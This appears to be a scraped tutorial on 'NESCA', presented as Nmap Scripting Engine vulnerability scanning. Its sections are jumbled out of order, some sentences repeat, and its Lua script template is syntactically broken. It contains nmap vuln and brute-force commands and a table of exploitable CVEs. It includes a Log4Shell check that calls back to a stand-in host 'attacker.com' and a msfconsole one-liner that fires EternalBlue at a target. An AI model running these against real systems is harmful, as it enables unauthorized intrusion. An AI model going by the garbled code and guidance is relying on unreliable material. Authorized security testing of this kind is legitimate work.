Nesca Scanner ✰

nmap -sV --script=vuln,exploit --script-args vulns.showall=true -p- -T4 -oA full_vuln_scan <target> Add this to your toolkit today, and you’ll never look at Nmap as “just a port scanner” again. Need help with a specific NESCA script or custom development? Check the official Nmap documentation or the Nmap-dev mailing list.

1. Introduction: What is NESCA? In the world of cybersecurity, the name Nmap is synonymous with network discovery and port scanning. However, its true power for vulnerability assessment lies in an often-underutilized component: the Nmap Scripting Engine (NSE) . NESCA (an acronym often used informally for Nmap Enhanced Security & Configuration Auditor or simply Nmap NSE Scanner ) represents the paradigm shift from a simple port scanner to a full-fledged vulnerability scanner.

nmap -sV --script vuln target.com Output example: mysql-vuln-cve2012-2122: MySQL 5.1.51 allows authentication bypass. nmap -sV --script http-log4shell --script-args http-log4shell.callback-server=attacker.com target.com Use Case 3: SMB EternalBlue Check (MS17-010) nmap -p445 --script smb-vuln-ms17-010 target.com Use Case 4: Web Application Fuzzing nmap -p80 --script http-enum,http-sql-injection,http-xssed target.com 5. Top 20 Essential NESCA Scripts for Vulnerability Hunters | Script Name | Target Service | CVE/Issue Detected | | :--- | :--- | :--- | | http-vuln-cve2021-41773 | Apache 2.4.49 | Path Traversal | | ssl-heartbleed | OpenSSL 1.0.1 | Heartbleed (CVE-2014-0160) | | smb-vuln-ms08-067 | Windows SMB | Remote Code Execution | | smb-vuln-ms17-010 | Windows SMB | EternalBlue | | ftp-vuln-cve2010-4221 | ProFTPD 1.3.3c | Backdoor RCE | | mysql-vuln-cve2012-2122 | MySQL | Authentication Bypass | | vnc-brute | VNC | Weak credentials | | http-shellshock | CGI scripts | Shellshock (CVE-2014-6271) | | dns-recursion | DNS Server | Open resolver (DDoS) | | redis-info | Redis 2.x/3.x | Unauthenticated access | | mongodb-brute | MongoDB | Default creds | | rtsp-url-brute | IP Cameras | Default streaming paths | | http-put | WebDAV | Insecure PUT method | | ssl-ccs-injection | TLS servers | CCS Injection (CVE-2014-0224) | | xmlrpc-brute | WordPress XML-RPC | Password brute force | | docker-version | Docker API | Unauthenticated API | | kubernetes-version | K8s API | Anonymous access | | jenkins-enum | Jenkins CI | Anonymous job enumeration | | ajp-auth-bypass | Tomcat AJP | Ghostcat (CVE-2020-1938) | | ntp-monlist | NTP | Monlist DDoS reflection | 6. Advanced NESCA Techniques Parallel Script Execution with Timing Templates nmap -sV --script vuln -T4 --min-parallelism 100 -oA scan_results target.com Using Script Arguments nmap -p3306 --script mysql-empty-password,mysql-brute --script-args brute.mode=user,brute.users=root target.com Custom Output Parsing (Grepable + XML) nmap -sV --script vuln -oX results.xml target.com # Convert to CSV using xsltproc: xsltproc results.xml -o results.html Combining with Metasploit nmap -sV --script smb-vuln-ms17-010 target.com --open | grep VULNERABLE # If vulnerable, launch Metasploit: msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS target.com; run" 7. Writing Your Own NESCA Script (Lua Template) Creating a custom vulnerability check is straightforward. Here’s a template for a fictional CVE: nesca scanner

Use NESCA for rapid reconnaissance, CI/CD pipelines, and targeted exploitation checks. Use traditional scanners for compliance audits. 4. Practical Use Cases for NESCA Use Case 1: The 30-Second Vulnerability Scan Scan a target for all known vulnerabilities without touching exploit code:

local http = require "http" local nmap = require "nmap" local shortport = require "shortport" local vulns = require "vulns" description = [[ Checks for fictional CVE-2024-NESCA in WebApp 1.0. Sends a malformed header and checks for error disclosure. ]] nmap -sV --script=vuln,exploit --script-args vulns

action = function(host, port) local vuln = title = "Fictional CVE-2024-NESCA: Information Disclosure", state = vulns.STATE.NOT_VULN, risk_factor = "High", scores = CVSSv3 = "8.6" , description = [[ The web server discloses internal paths when a malformed header is sent. ]], remediation = [[ Update to WebApp 1.1 or apply patch NESCA-01. ]]

local report = vulns.Report:new(SCRIPT_NAME, host, port) local payload = "GET / HTTP/1.1\r\nHost: " .. host.ip .. "\r\nX-Hack: \r\n\r\n" local response = http.get(host, port, "/", header = ["X-Hack"] = "") However, its true power for vulnerability assessment lies

if response.status == 500 and response.body:match("stack trace") then vuln.state = vulns.STATE.VULN vuln.check_results = "Disclosed stack trace: " .. response.body:sub(1,200) end

author = "Your Name" license = "Same as Nmap--https://nmap.org/book/man-legal.html" categories = "vuln", "safe"

portrule = shortport.http